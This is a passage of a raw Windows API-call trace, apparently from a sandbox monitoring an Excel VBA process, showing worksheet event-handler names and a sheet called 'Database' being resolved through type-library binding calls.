ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0202.119] IUnknown:Release (This=0x6fed890) returned 0x3 [0202.119] IMalloc:Free (This=0x7feffc15380, pv=0xb2fd490) [0205.074] GetAsyncKeyState (vKey=27) returned 0 [0205.075] GetCurrentThreadId () returned 0x92c [0205.075] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0205.075] GetDesktopWindow () returned 0x10010 [0205.075] RemovePropA (hWnd=0x202cc, lpString=0xc113) returned 0x1 [0205.076] EnableWindow (hWnd=0x202cc, bEnable=1) returned 1 [0205.076] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6edcf80 [0205.077] IMalloc:Free (This=0x7feffc15380, pv=0x6edcf80) [0205.238] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1545, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xa0000000c0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xa0000000c0) returned 0x0 [0205.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Change", cchWideChar=7, lpMultiByteStr=0x28f020, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Change", lpUsedDefaultChar=0x0) returned 7 [0205.239] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x11, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0205.239] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x7, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0205.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0208.101] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=279, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x7fee91376e0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x7fee91376e0*="\x8b48\x8081") returned 0x0 [0208.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Calculate", cchWideChar=10, lpMultiByteStr=0x28f020, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Calculate", lpUsedDefaultChar=0x0) returned 10 [0208.101] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x14, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0208.101] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0xa, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0208.101] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Calculate") returned 0x106574 [0214.365] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1537, refPtrFlags=0x28e370, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0214.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28e3c0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0214.365] _mbscpy_s (in: _Dst=0x28e210, _DstSizeInBytes=0x1c, _Src=0x6762d5a | out: _Dst=0x28e210) returned 0x0 [0214.365] _mbscpy_s (in: _Dst=0x28e21a, _DstSizeInBytes=0x12, _Src=0x28e3c0 | out: _Dst=0x28e21a) returned 0x0 [0214.365] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0214.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x260f80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0214.368] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb68c7c0 [0214.368] strncpy_s (in: _Dst=0xb68c7c0, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0214.368] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0214.368] bsearch (_Key=0x25fe98, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0214.368] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0214.368] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0214.368] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1380) returned 0x0 [0214.369] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0214.369] IUnknown:Release (This=0xb1d1380) returned 0xb [0214.369] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68c7c0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0214.369] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0214.369] IUnknown:Release (This=0xb1d1380) returned 0xa [0214.369] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d0570) returned 0x0 [0214.369] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0214.369] IUnknown:Release (This=0xb1d0570) returned 0x12 [0214.369] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68c7c0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0214.369] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0214.370] IUnknown:Release (This=0xb1d0570) returned 0x11 [0214.370] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1920) returned 0x0 [0214.370] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0214.370] IUnknown:Release (This=0xb1d1920) returned 0x6 [0214.370] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68c7c0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0214.370] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0214.370] IUnknown:Release (This=0xb1d1920) returned 0x5 [0214.370] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0x6fed890) returned 0x0 [0214.370] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0214.370] IUnknown:Release (This=0x6fed890) returned 0x4 [0214.370] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68c7c0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0214.370] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0214.370] IUnknown:Release (This=0x6fed890) returned 0x3 [0214.371] IMalloc:Free (This=0x7feffc15380, pv=0xb68c7c0) [0214.371] GetCurrentThreadId () returned 0x92c [0214.371] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0214.371] GetDesktopWindow () returned 0x10010 [0214.371] SetPropA (hWnd=0x202cc, lpString=0xc113, hData=0x1) returned 1 [0214.371] EnableWindow (hWnd=0x202cc, bEnable=0) returned 0 [0214.371] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb68c7c0 [0214.371] IMalloc:Free (This=0x7feffc15380, pv=0xb68c7c0) [0214.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x261870, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0214.484] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0x745d990 [0214.484] strncpy_s (in: _Dst=0x745d990, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0214.484] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0214.484] bsearch (_Key=0x260778, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0214.484] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0214.484] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0214.484] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1380) returned 0x0 [0214.485] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0214.485] IUnknown:Release (This=0xb1d1380) returned 0xb [0214.485] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x745d990, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0214.485] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0214.485] IUnknown:Release (This=0xb1d1380) returned 0xa [0214.485] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d0570) returned 0x0 [0214.485] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0214.485] IUnknown:Release (This=0xb1d0570) returned 0x12 [0214.485] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x745d990, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0214.485] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0214.485] IUnknown:Release (This=0xb1d0570) returned 0x11 [0214.485] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1920) returned 0x0 [0214.485] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0214.486] IUnknown:Release (This=0xb1d1920) returned 0x6 [0214.486] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x745d990, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0214.486] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0214.486] IUnknown:Release (This=0xb1d1920) returned 0x5 [0214.486] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0x6fed890) returned 0x0 [0214.486] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0214.486] IUnknown:Release (This=0x6fed890) returned 0x4 [0214.486] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x745d990, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0214.486] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0214.486] IUnknown:Release (This=0x6fed890) returned 0x3 [0214.486] IMalloc:Free (This=0x7feffc15380, pv=0x745d990) [0217.396] GetAsyncKeyState (vKey=27) returned 0 [0217.396] GetCurrentThreadId () returned 0x92c [0217.396] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0217.396] GetDesktopWindow () returned 0x10010 [0217.396] RemovePropA (hWnd=0x202cc, lpString=0xc113) returned 0x1 [0217.396] EnableWindow (hWnd=0x202cc, bEnable=1) returned 1 [0217.396] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb97b170 [0217.397] IMalloc:Free (This=0x7feffc15380, pv=0xb97b170) [0217.473] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1545, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xba000000c0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xba000000c0) returned 0x0 [0217.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Change", cchWideChar=7, lpMultiByteStr=0x28f020, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Change", lpUsedDefaultChar=0x0) returned 7 [0217.473] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x11, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0217.473] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x7, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0217.473] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0217.474] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1543, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0217.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28f020, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0217.474] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x1a, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0217.474] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x10, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0217.474] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0217.475] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1537, refPtrFlags=0x28e370, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0217.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28e3c0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0217.475] _mbscpy_s (in: _Dst=0x28e210, _DstSizeInBytes=0x1c, _Src=0x6762d5a | out: _Dst=0x28e210) returned 0x0 [0217.475] _mbscpy_s (in: _Dst=0x28e21a, _DstSizeInBytes=0x12, _Src=0x28e3c0 | out: _Dst=0x28e21a) returned 0x0 [0217.475] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0217.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x260f80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0217.478] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb975250 [0217.478] strncpy_s (in: _Dst=0xb975250, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0217.478] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0217.478] bsearch (_Key=0x25fe98, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0217.478] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0217.478] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0217.479] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1380) returned 0x0 [0217.479] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0217.479] IUnknown:Release (This=0xb1d1380) returned 0xb [0217.479] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb975250, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0217.479] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0217.479] IUnknown:Release (This=0xb1d1380) returned 0xa [0217.479] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d0570) returned 0x0 [0217.479] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0217.479] IUnknown:Release (This=0xb1d0570) returned 0x12 [0217.479] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb975250, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0217.479] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0217.480] IUnknown:Release (This=0xb1d0570) returned 0x11 [0217.480] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1920) returned 0x0 [0217.480] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0217.480] IUnknown:Release (This=0xb1d1920) returned 0x6 [0217.480] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb975250, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0217.480] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0217.480] IUnknown:Release (This=0xb1d1920) returned 0x5 [0217.480] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0x6fed890) returned 0x0 [0217.480] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0217.480] IUnknown:Release (This=0x6fed890) returned 0x4 [0217.480] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb975250, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0217.480] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0217.480] IUnknown:Release (This=0x6fed890) returned 0x3 [0217.481] IMalloc:Free (This=0x7feffc15380, pv=0xb975250) [0217.481] GetCurrentThreadId () returned 0x92c [0217.481] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0217.481] GetDesktopWindow () returned 0x10010 [0217.481] SetPropA (hWnd=0x202cc, lpString=0xc113, hData=0x1) returned 1 [0217.481] EnableWindow (hWnd=0x202cc, bEnable=0) returned 0 [0217.481] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb975250 [0217.481] IMalloc:Free (This=0x7feffc15380, pv=0xb975250) [0217.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x261870, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0217.544] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb9774b0 [0217.544] strncpy_s (in: _Dst=0xb9774b0, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0217.544] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0217.544] bsearch (_Key=0x260778, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0217.544] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0217.544] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0217.544] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1380) returned 0x0 [0217.544] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0217.544] IUnknown:Release (This=0xb1d1380) returned 0xb [0217.544] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb9774b0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0217.544] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0217.545] IUnknown:Release (This=0xb1d1380) returned 0xa [0217.545] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d0570) returned 0x0 [0217.545] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0217.545] IUnknown:Release (This=0xb1d0570) returned 0x12 [0217.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb9774b0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0217.545] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0217.545] IUnknown:Release (This=0xb1d0570) returned 0x11 [0217.545] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1920) returned 0x0 [0217.545] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0217.545] IUnknown:Release (This=0xb1d1920) returned 0x6 [0217.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb9774b0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0217.545] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0217.546] IUnknown:Release (This=0xb1d1920) returned 0x5 [0217.546] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0x6fed890) returned 0x0 [0217.546] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0217.546] IUnknown:Release (This=0x6fed890) returned 0x4 [0217.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb9774b0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") 